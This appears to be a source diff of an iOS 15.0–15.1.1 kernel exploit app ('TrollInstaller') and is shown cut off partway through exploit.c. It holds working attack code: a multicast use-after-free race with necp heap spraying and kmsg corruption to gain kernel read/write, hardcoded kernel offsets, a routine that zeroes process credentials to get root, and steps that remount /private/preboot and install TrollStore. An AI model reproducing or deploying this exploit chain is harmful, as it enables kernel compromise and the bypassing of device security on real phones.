@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr);
@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr);
@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value);
@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value);
@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value);
@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value);
@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value);
@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len);
@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len);
@property (nonatomic) void (*kcleanup)(void);
@property (nonatomic) uint64_t kernel_slide;
@property (nonatomic) uint64_t kernel_base;
@property (nonatomic) struct SlidOffsets slid_offsets;
@property (nonatomic) struct StaticOffsets static_offsets;
@property (nonatomic) struct StructOffsets struct_offsets;
- (void)loadOffsets;
- (void)_loadSlidOffsets;
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide;
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base;
+ (instancetype)sharedInstance;
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr;
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr;
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len;
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize;
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len;
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr;
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr;
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr;
- (void)finishAndCleanupIfNeeded;
@end
NS_ASSUME_NONNULL_END

View File

@ -0,0 +1,438 @@
//
// KernelManager.m
// NonceSet15
//
// Created by Lars Fröder on 02.06.22.
//
#import "KernelManager.h"
@implementation KernelManager
+ (instancetype)sharedInstance
{
static KernelManager *sharedInstance = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
sharedInstance = [[KernelManager alloc] init];
});
return sharedInstance;
}
- (void)loadOffsets
{
struct StaticOffsets staticOffsets;
// iPhone 13 Pro, 15.1.1
staticOffsets.kernel_base = 0xFFFFFFF007004000;
staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140;
staticOffsets.allproc = 0xFFFFFFF009D86AA0;
staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988;
staticOffsets.cs_debug = 0xFFFFFFF009D86990;
self.static_offsets = staticOffsets;
struct ProcOffsets proc;
proc.task_offset = 0x10;
proc.pid_offset = 0x68;
proc.comm_offset = 0x2C8;
proc.name_offset = 0x2D9;
proc.ucred_offset = 0xD8;
proc.textvp_offset = 0x2A8;
proc.textoff_offset = 0x2B0;
proc.csflags_offset = 0x300;
proc.fd_offset = 0xE0;
struct UCredOffsets ucred;
ucred.posix_offset = 0x18;
ucred.label_offset = 0x78;
ucred.audit_offset = 0x80;
struct TaskOffsets task;
task.map_offset = 0x28;
task.threads_offset = 0x58;
task.itk_space_offset = 0x330;
task.rop_pid_offset = 0x360;
task.jop_pid_offset = 0x368;
task.disable_user_jop_offset = 0x370;
task.t_flags_offset = 0x41C;
struct ThreadOffsets thread;
thread.task_threads_offset = 0x400;
thread.disable_user_jop_offset = 0x167;
thread.rop_pid_offset = 0x168;
thread.jop_pid_offset = 0x170;
struct ItkSpaceOffsets itk_space;
itk_space.is_table_offset = 0x20;
struct IpcEntryOffsets ipc_entry;
ipc_entry.size = 0x18;
struct FileDescriptorOffsets fd;
fd.ofiles_offset = 0x20; // proc + 256
// numfiles: 0xC, proc + 244
// fd_ofileflags: proc + 264
struct FileProcOffsets fproc;
fproc.glob_offset = 0x10;
struct FileGlobOffsets fglob;
fglob.data_offset = 0x38;
struct VnodeOffsets vnode;
vnode.un_offset.ubcinfo = 0x78;
vnode.type_offset = 0x70;
vnode.flag_offset = 0x54;
struct UbcInfoOffsets ubc_info;
ubc_info.csblobs_offset = 0x50;
struct CsBlobOffsets csblob;
csblob.team_id_offset = 0x80;
csblob.platform_binary_offset = 0xB8;
csblob.pmap_cs_entry_offset = 0xC0;
struct VmMapOffsets vmmap;
vmmap.header_offset = 0x10;
vmmap.pmap_offset = 0x48;
vmmap.flag_offset = 0x11C;
struct VmHeaderOffsets vmheader;
vmheader.links_offset = 0x0;
vmheader.numentry_offset = 0x20;
struct VmMapLinkOffsets vmlink;
vmlink.prev_offset = 0x0;
vmlink.next_offset = 0x8;
struct VmMapEntryOffsets vmentry;
vmentry.links_offset = 0x0;
vmentry.flag_bits_offset = 0x48;
// vm header:
// links: 0x00
// nentries: 0x20
// ..
struct CsDirEntryOffsets csdirentry;
csdirentry.trust_level_offset = 0x9C;
struct StructOffsets structOffsets;
structOffsets.proc = proc;
structOffsets.ucred = ucred;
structOffsets.task = task;
structOffsets.thread = thread;
structOffsets.itk_space = itk_space;
structOffsets.ipc_entry = ipc_entry;
structOffsets.fd = fd;
structOffsets.fproc = fproc;
structOffsets.fglob = fglob;
structOffsets.vnode = vnode;
structOffsets.ubc_info = ubc_info;
structOffsets.csblob = csblob;
structOffsets.vmmap = vmmap;
structOffsets.csdirentry = csdirentry;
structOffsets.vmheader = vmheader;
structOffsets.vmlink = vmlink;
structOffsets.vmentry = vmentry;
self.struct_offsets = structOffsets;
}
- (void)_loadSlidOffsets
{
struct SlidOffsets slidOffsets;
slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide;
slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide;
slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide;
slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide;
self.slid_offsets = slidOffsets;
}
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide
{
self.kernel_base = self.static_offsets.kernel_base + kernel_slide;
self.kernel_slide = kernel_slide;
[self _loadSlidOffsets];
}
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base
{
self.kernel_base = kernel_base;
self.kernel_slide = kernel_base - self.static_offsets.kernel_base;
[self _loadSlidOffsets];
}
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr
{
if(_kread_64_d)
{
return _kread_64_d(addr);
}
else
{
uint64_t outInt = 0;
int suc = 0;
if(_kread_64_id)
{
_kread_64_id(addr, &outInt);
}
else if(_kread_64_id_ret)
{
suc = _kread_64_id_ret(addr, &outInt);
}
else if(_kread64_block)
{
suc = _kread64_block(addr, &outInt);
}
else
{
uint8_t* b = (uint8_t*)&outInt;
*(uint32_t *)b = [self read32BitValueAtAddress:addr];
*(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4];
}
if(suc != 0)
{
NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr
{
if(_kread_32_d)
{
return _kread_32_d(addr);
}
else
{
uint32_t outInt = 0;
int suc = 0;
if(_kread_32_id)
{
_kread_32_id(addr, &outInt);
}
else if(_kread_32_id_ret)
{
suc = _kread_32_id_ret(addr, &outInt);
}
else if(_kread32_block)
{
suc = _kread32_block(addr, &outInt);
}
if(suc != 0)
{
NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc);
}
return outInt;
}
}
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len
{
//printf("read at %llX - %lX\n", addr, len);
//usleep(50);
if(_kread_buf)
{
return _kread_buf(addr, outBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t outputOffset = 0;
unsigned char* outputBytes = (unsigned char*)outBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
//printf("read %llX\n", curAddr);
//usleep(1000);
uint32_t k = [self read32BitValueAtAddress:curAddr];
unsigned char* kb = (unsigned char*)&k;
for(int i = 0; i < 4; i++)
{
if(outputOffset == len) break;
outputBytes[outputOffset] = kb[i];
outputOffset++;
}
if(outputOffset == len) break;
}
return 0;
}
}
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize
{
bzero(outBuf, bufSize);
char* outBufStr = (char*)outBuf;
uint64_t maxEndAddr = addr + bufSize;
int ci = 0;
for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4)
{
uint32_t k = [self read32BitValueAtAddress:curAddr];
char* kb = (char*)&k;
for(int i = 0; i < 4; i++)
{
char c = kb[i];
if(c == '\0') return 0;
outBufStr[ci] = c;
ci++;
}
}
return 0;
}
void DumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if(i % 16 == 0)
{
printf("0x%zX | ", i);
}
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len
{
void* buffer = malloc(len);
int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len];
if(ret == 0)
{
DumpHex(buffer, len);
}
free(buffer);
return ret;
}
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr
{
if(_kwrite_64)
{
_kwrite_64(addr, value);
}
else if(_kwrite_64_ret)
{
return _kwrite_64_ret(addr, value);
}
else if(_kwrite64_block)
{
return _kwrite64_block(addr, value);
}
else
{
int r1 = [self write32BitValue:(uint32_t)value toAddress:addr];
int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4];
return r1 || r2;
}
return 0;
}
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr
{
if(_kwrite_32)
{
_kwrite_32(addr, value);
}
else if(_kwrite_32_ret)
{
return _kwrite_32_ret(addr, value);
}
else if(_kwrite32_block)
{
return _kwrite32_block(addr, value);
}
return 0;
}
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr
{
//printf("write to %llX - %lX\n", addr, len);
//usleep(50);
if(_kwrite_buf)
{
return _kwrite_buf(addr, inBuf, len);
}
else
{
uint64_t endAddr = addr + len;
uint32_t inputOffset = 0;
unsigned char* inputBytes = (unsigned char*)inBuf;
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
{
uint32_t toWrite = 0;
int bc = 4;
uint64_t remainingBytes = endAddr - curAddr;
if(remainingBytes < 4)
{
toWrite = [self read32BitValueAtAddress:curAddr];
bc = (int)remainingBytes;
}
unsigned char* wb = (unsigned char*)&toWrite;
for(int i = 0; i < bc; i++)
{
wb[i] = inputBytes[inputOffset];
inputOffset++;
}
//printf("write %X to %llX\n", toWrite, curAddr);
//usleep(1000);
[self write32BitValue:toWrite toAddress:curAddr];
}
return 0;
}
return 0;
}
- (void)finishAndCleanupIfNeeded
{
if(_kcleanup)
{
_kcleanup();
}
}
- (void)dealloc
{
[self finishAndCleanupIfNeeded];
}
@end

View File

@ -0,0 +1,15 @@
//
// SceneDelegate.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface SceneDelegate : UIResponder <UIWindowSceneDelegate>
@property (strong, nonatomic) UIWindow * window;
@end

View File

@ -0,0 +1,57 @@
//
// SceneDelegate.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "SceneDelegate.h"
@interface SceneDelegate ()
@end
@implementation SceneDelegate
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
// If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
// This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
}
- (void)sceneDidDisconnect:(UIScene *)scene {
// Called as the scene is being released by the system.
// This occurs shortly after the scene enters the background, or when its session is discarded.
// Release any resources associated with this scene that can be re-created the next time the scene connects.
// The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
}
- (void)sceneDidBecomeActive:(UIScene *)scene {
// Called when the scene has moved from an inactive state to an active state.
// Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
}
- (void)sceneWillResignActive:(UIScene *)scene {
// Called when the scene will move from an active state to an inactive state.
// This may occur due to temporary interruptions (ex. an incoming phone call).
}
- (void)sceneWillEnterForeground:(UIScene *)scene {
// Called as the scene transitions from the background to the foreground.
// Use this method to undo the changes made on entering the background.
}
- (void)sceneDidEnterBackground:(UIScene *)scene {
// Called as the scene transitions from the foreground to the background.
// Use this method to save data, release shared resources, and store enough scene-specific state information
// to restore the scene back to its current state.
}
@end

View File

@ -0,0 +1,14 @@
//
// ViewController.h
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import <UIKit/UIKit.h>
@interface ViewController : UIViewController
@end

View File

@ -0,0 +1,211 @@
//
// ViewController.m
// TrollInstaller
//
// Created by Lars Fröder on 17.08.22.
//
#import "ViewController.h"
#import "kutil.h"
#import "exploit/exploit.h"
#import "exploit/kernel_rw.h"
#import "KernelManager.h"
#import "unarchive.h"
#import <spawn.h>
#import <sys/stat.h>
extern uint64_t g_self_proc;
int runBinary(NSString* path, NSArray* args)
{
NSMutableArray* argsM = args.mutableCopy;
[argsM insertObject:path.lastPathComponent atIndex:0];
NSUInteger argCount = [argsM count];
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
for (NSUInteger i = 0; i < argCount; i++)
{
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
}
argsC[argCount] = NULL;
pid_t task_pid;
int status = 0;
int spawnError = posix_spawn(&task_pid, [path UTF8String], NULL, NULL, (char* const*)argsC, NULL);
for (NSUInteger i = 0; i < argCount; i++)
{
free(argsC[i]);
}
free(argsC);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
waitpid(task_pid, &status, WEXITED);
waitpid(task_pid, NULL, 0);
NSLog(@"status = %d", status);
return status;
}
// Get root, credit: @xina520
struct k_posix_cred backup_cred;
int backup_groupSize;
gid_t backup_groupList[200];
int getRoot(void)
{
printf("attempting to get root...\n");
usleep(1000);
backup_groupSize = getgroups(200, &backup_groupList[0]);
backup_cred = proc_get_posix_cred(g_self_proc);
struct k_posix_cred zero_cred = {0};
printf("setting posix cred to zero cred...\n");
usleep(1000);
proc_set_posix_cred(g_self_proc, zero_cred);
int err = setgroups(0,0);
if(err)
{
printf("setgroups error %d\n", err);
usleep(1000);
}
int uid = getuid();
printf("getuid => %d\n", uid);
usleep(1000);
return uid;
}
int dropRoot(void)
{
if(getuid() != 0) return getuid();
printf("attempting to drop root...\n");
usleep(1000);
int err = setgroups(backup_groupSize,backup_groupList);
if(err)
{
printf("setgroups error %d\n", err);
usleep(1000);
}
proc_set_posix_cred(g_self_proc, backup_cred);
int uid = getuid();
printf("dropped root??? uid: %d\n", uid);
return uid;
}
@interface ViewController ()
@property (weak, nonatomic) IBOutlet UILabel *statusLabel;
@end
@implementation ViewController
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view.
}
- (void)updateStatus:(NSString*)status
{
dispatch_async(dispatch_get_main_queue(), ^{
self.statusLabel.text = status;
});
}
int writeRemountPrivatePreboot(void)
{
return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"]);
}
- (void)doInstallation
{
[self updateStatus:@"Exploiting..."];
// Run Kernel exploit
uint64_t kernel_base;
exploit_get_krw_and_kernel_base(&kernel_base);
// Initialize KernelManager
KernelManager* km = [KernelManager sharedInstance];
[km loadOffsets];
[km loadSlidOffsetsWithKernelBase:kernel_base];
km.kread_32_d = kread32;
km.kread_64_d = kread64;
km.kwrite_32 = kwrite32;
km.kwrite_64 = kwrite64;
km.kcleanup = exploitation_cleanup;
[self updateStatus:@"Getting root..."];
// Get root
getRoot();
[self updateStatus:@"Installing..."];
writeRemountPrivatePreboot();
NSString* tmpDir = @"/private/preboot/tmp";
[[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil];
NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"];
extract(tsTarPath, tmpDir);
NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"];
chmod(helperPath.UTF8String, 0755);
chown(helperPath.UTF8String, 0, 0);
int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath]);
[self updateStatus:@"Cleaning up..."];
[[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil];
// Clean everything up so the kernel doesn't panic when the app exits
dropRoot();
[km finishAndCleanupIfNeeded];
[self updateStatus:@"Done!"];
// Print installed message
if(ret == 0)
{
dispatch_async(dispatch_get_main_queue(), ^{
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
exit(0);
}];
[installedAlertController addAction:closeAction];
[self presentViewController:installedAlertController animated:YES completion:nil];
});
}
}
- (IBAction)installButtonPressed:(id)sender {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[self doInstallation];
});
}
@end

View File

@ -0,0 +1,81 @@
#include "IOGPU.h"
#include <sys/utsname.h>
io_connect_t IOGPU_init(void)
{
mach_port_t mp = MACH_PORT_NULL;
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOGPU_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member)
{
uint64_t outStructCnt = 0x10;
uint32_t inStructCnt = 0x408;
uint8_t inStruct[0x408] = {0};
uint8_t outStruct[0x10] = {0};
// avoid null termination
memset(inStruct, 0x01, 0x30);
*(uint64_t *)(inStruct + 0x30) = member;
kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt);
if (kr)
return 0;
return 1;
}
int IOGPU_get_command_queue_extra_refills_needed(void)
{
struct utsname u;
uname(&u);
// iPhone 7
// iPhone 11
// iPhone 12
// iPhone 13
if (
strstr(u.machine, "iPhone9,")
|| strstr(u.machine, "iPhone12,")
|| strstr(u.machine, "iPhone13,")
|| strstr(u.machine, "iPhone14,")
)
{
return 1;
}
// iPhone 8, X
// iPhone XS, XR
else if (
strstr(u.machine, "iPhone10,")
|| strstr(u.machine, "iPhone11,")
)
{
return 3;
}
printf("IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\n", u.machine);
return -1;
}

View File

@ -0,0 +1,16 @@
#ifndef __IOGPU_H__
#define __IOGPU_H__
#include "iokit.h"
#include <mach/mach.h>
#include <stdint.h>
io_connect_t IOGPU_init(void);
void IOGPU_exit(io_connect_t uc);
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member);
int IOGPU_get_command_queue_extra_refills_needed(void);
#endif

View File

@ -0,0 +1,124 @@
#include "IOSurfaceRoot.h"
io_connect_t IOSurfaceRoot_init(void)
{
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
mach_port_t mp = MACH_PORT_NULL;
IOMasterPort(MACH_PORT_NULL, &mp);
io_connect_t uc;
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("IOSurfaceRoot"));
if (s == MACH_PORT_NULL)
{
return 0;
}
if (IOServiceOpen(s, mach_task_self(), 0, &uc) != KERN_SUCCESS)
{
return 0;
}
return uc;
}
void IOSurfaceRoot_exit(io_connect_t uc)
{
IOServiceClose(uc);
}
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc)
{
// Brandon Azad's definitions from https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c4
struct _IOSurfaceFastCreateArgs {
uint64_t address;
uint32_t width;
uint32_t height;
uint32_t pixel_format;
uint32_t bytes_per_element;
uint32_t bytes_per_row;
uint32_t alloc_size;
};
struct IOSurfaceLockResult {
uint8_t _pad1[0x18];
uint32_t surface_id;
uint8_t _pad2[0xF60-0x18-0x4];
};
struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = (uint32_t) 0x4000 };
struct IOSurfaceLockResult lock_result = {0};
uint64_t lock_result_size = sizeof(lock_result);
IOConnectCallMethod(
uc,
6,
NULL, 0,
&create_args, sizeof(create_args),
NULL, NULL,
&lock_result, (size_t *)&lock_result_size);
return lock_result.surface_id;
}
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t sz = 0xF60;
uint8_t o[0xF60];
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 4, &scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&sz);
return ret;
}
kern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
kern_return_t ret = IOConnectCallMethod(uc, 1, &scalarInput, 1, 0, 0, 0, 0, 0, 0);
return ret;
}
void IOSurfaceRoot_release_all(io_connect_t uc)
{
for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
{
IOSurfaceRoot_release_surface(uc, surf_id);
}
}
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id)
{
uint64_t scalarInput = surf_id;
uint64_t output = 0;
uint64_t outputCnt = 1;
IOConnectCallMethod(uc, 16, &scalarInput, 1, 0, 0, &output, (uint32_t *)&outputCnt, 0, 0);
return (uint32_t)output;
}
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile)
{
uint64_t scalarInput[3];
scalarInput[0] = surf_id;
scalarInput[1] = 0;
scalarInput[2] = tile;
IOConnectCallScalarMethod(uc, 31, (uint64_t *)&scalarInput, 3, 0, 0);
}
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)
{
for (int i = 0; i < 4; ++i)
{
io_connect_t uc = IOSurfaceRoot_init();
for (int i = 0; i < 0xf00; ++i)
{
uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);
if (0x3400 <= (last_id * sizeof(uint64_t)))
{
return last_id;
}
}
}
return -1;
}

View File

@ -0,0 +1,25 @@
#ifndef __IOSURFACEROOT_H__
#define __IOSURFACEROOT_H__
#include "iokit.h"
#include <IOSurface/IOSurfaceRef.h>
#include <stdint.h>
io_connect_t IOSurfaceRoot_init(void);
void IOSurfaceRoot_exit(io_connect_t uc);
uint32_t IOSurfaceRoot_create_surface_fast(io_connect_t uc);
kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id);
int IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_release_all(io_connect_t uc);
uint32_t IOSurfaceRoot_get_surface_use_count(io_connect_t uc, uint32_t surf_id);
void IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(io_connect_t uc, uint32_t surf_id, uint64_t tile);
uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void);
#endif

View File

@ -0,0 +1,335 @@
#include "exploit.h"
#include "iokit.h"
#include "IOGPU.h"
#include "IOSurfaceRoot.h"
#include "kernel_rw.h"
#include "kernel_base.h"
#include "mcast.h"
#include "necp.h"
#include "port_utils.h"
#include "spray.h"
#include <mach/mach.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
#define KHEAP_DATA_MAPPABLE_LOC 0xFFFFFFE383200000 // may have to be tweaked per device
#define KHEAP_DEFAULT_MAPPABLE_LOC 0xFFFFFFE376000000 // may have to be tweaked per device
#define BYTECOPY_FIRST_TARGET (KHEAP_DATA_MAPPABLE_LOC + 0x3F8C - BYTECOPY_OFFSET_IPV6) // will copy over trailer size of kmsg (used for identification of which kmsg was corrupted)
#define BYTECOPY_SECOND_TARGET (KHEAP_DATA_MAPPABLE_LOC + 3 - BYTECOPY_OFFSET_IPV6) // will copy over highest byte of kmsg's message bits, turning a non-complex kmsg to a complex one if its size ends in 0x80 (MACH_MSGH_BITS_COMPLEX)
#define BYTECOPY_OFFSET_IPV6 0x28
#define PORTS_COUNT 0x2A00
#define KMSG_SIZE 0x3F80 // the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)
#define UAF_BUFFER_KALLOC_1664_JOIN_COUNT 64 // UaF buffer ends up in default.kalloc.1664
mach_port_t notif_port = MACH_PORT_NULL;
mach_port_t *kheap_default_ports = NULL;
uint8_t *IOSurfaceClient_array_buf = NULL;
mach_port_t *kheap_data_ports = NULL;
int kheap_data_idx = -1;
int extra_frees_for_device = -1;
io_connect_t iogpu_connect = MACH_PORT_NULL;
mach_port_t get_arb_free_holder(void)
{
int success = 0;
// reliability voodoo
for (int i = 0; i < 3; ++i)
{
mcast_increase_race_reliability();
printf("Increase reliability...\n");
}
// more reliability voodoo
pthread_attr_t pattr;
pthread_attr_init(&pattr);
pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
// initialize refill buffer, putting the target for the bytecopy primitive there
uint8_t *necp_buf = malloc(4096);
*(uint64_t *)(necp_buf + 0x278) = BYTECOPY_FIRST_TARGET;
printf("Start (will fail if device has not been rebooted since last run)\n");
kheap_data_idx = -1;
for (int iterations = 0; iterations < 255; ++iterations)
{
pthread_t pt1;
pthread_t pt2;
int s = socket(AF_INET6, SOCK_DGRAM, 0);
int necp_fd = necp_open(0);
mcast_race_sock = s;
// grow the buffer on which the UaF will be triggered to default.kalloc.1664 and
// put it at its max size before next realloc will occur
int ip = 0;
for (ip = 0; ip < UAF_BUFFER_KALLOC_1664_JOIN_COUNT-2; ++ip)
{
mcast_join_group(ip);
}
// trigger the UaF in default.kalloc.1664, perform bytecopy primitive if refill is successful
pthread_create(&pt1, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)ip);
pthread_create(&pt2, &pattr, (void *(*)(void *))mcast_join_group, (void *)(uint64_t)(ip + 1));
// refill the UaF buffer in default.kalloc.1664 during the race
for (int i = 0; i < 10; ++i)
{
spray_default_kalloc_necp(necp_fd, necp_buf, 0x318);
}
// synchronize
pthread_join(pt1, NULL);
pthread_join(pt2, NULL);
// find out if the refill succeeded, in which case a corrupted trailer size will be returned
// for the holder of the corrupted kmsg, which has also had its message bits corrupted
// (0x80000000 - MACH_MSGH_BITS_COMPLEX - now set)
{
for (int i = 0; i < PORTS_COUNT; ++i)
{
int sz = port_peek_trailer_size(kheap_data_ports[i]);
if (sz != 8)
{
printf("kheap_data_idx: %08X\n", i);
kheap_data_idx = i;
break;
}
}
if (kheap_data_idx != -1)
{
success = 1;
break;
}
}
close(s);
printf("iteration %d\n", iterations);
}
if (!success)
{
printf("Failed! Run exploit only once per boot\n");
printf("Make sure you are on iOS 15.0 - 15.1.1 and reboot to try again\n");
exit(1);
}
free(necp_buf);
return kheap_data_ports[kheap_data_idx];
}
int exploitation_init(void)
{
// different by device, retrieve it first and fail if unsuccessful
extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();
if (extra_frees_for_device == -1)
{
printf("Exiting early, provide correct number 1-5 in the code for this device to proceed\n");
return 1;
}
kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));
mach_port_t *ool_ports = malloc(0x4000);
uint8_t *kheap_data_spray_buf = malloc(0x4000);
memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));
memset(ool_ports, 0, 0x4000);
memset(kheap_data_spray_buf, 0, 0x4000);
// initialize the inline data
// fake descriptor for free primitive
*(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;
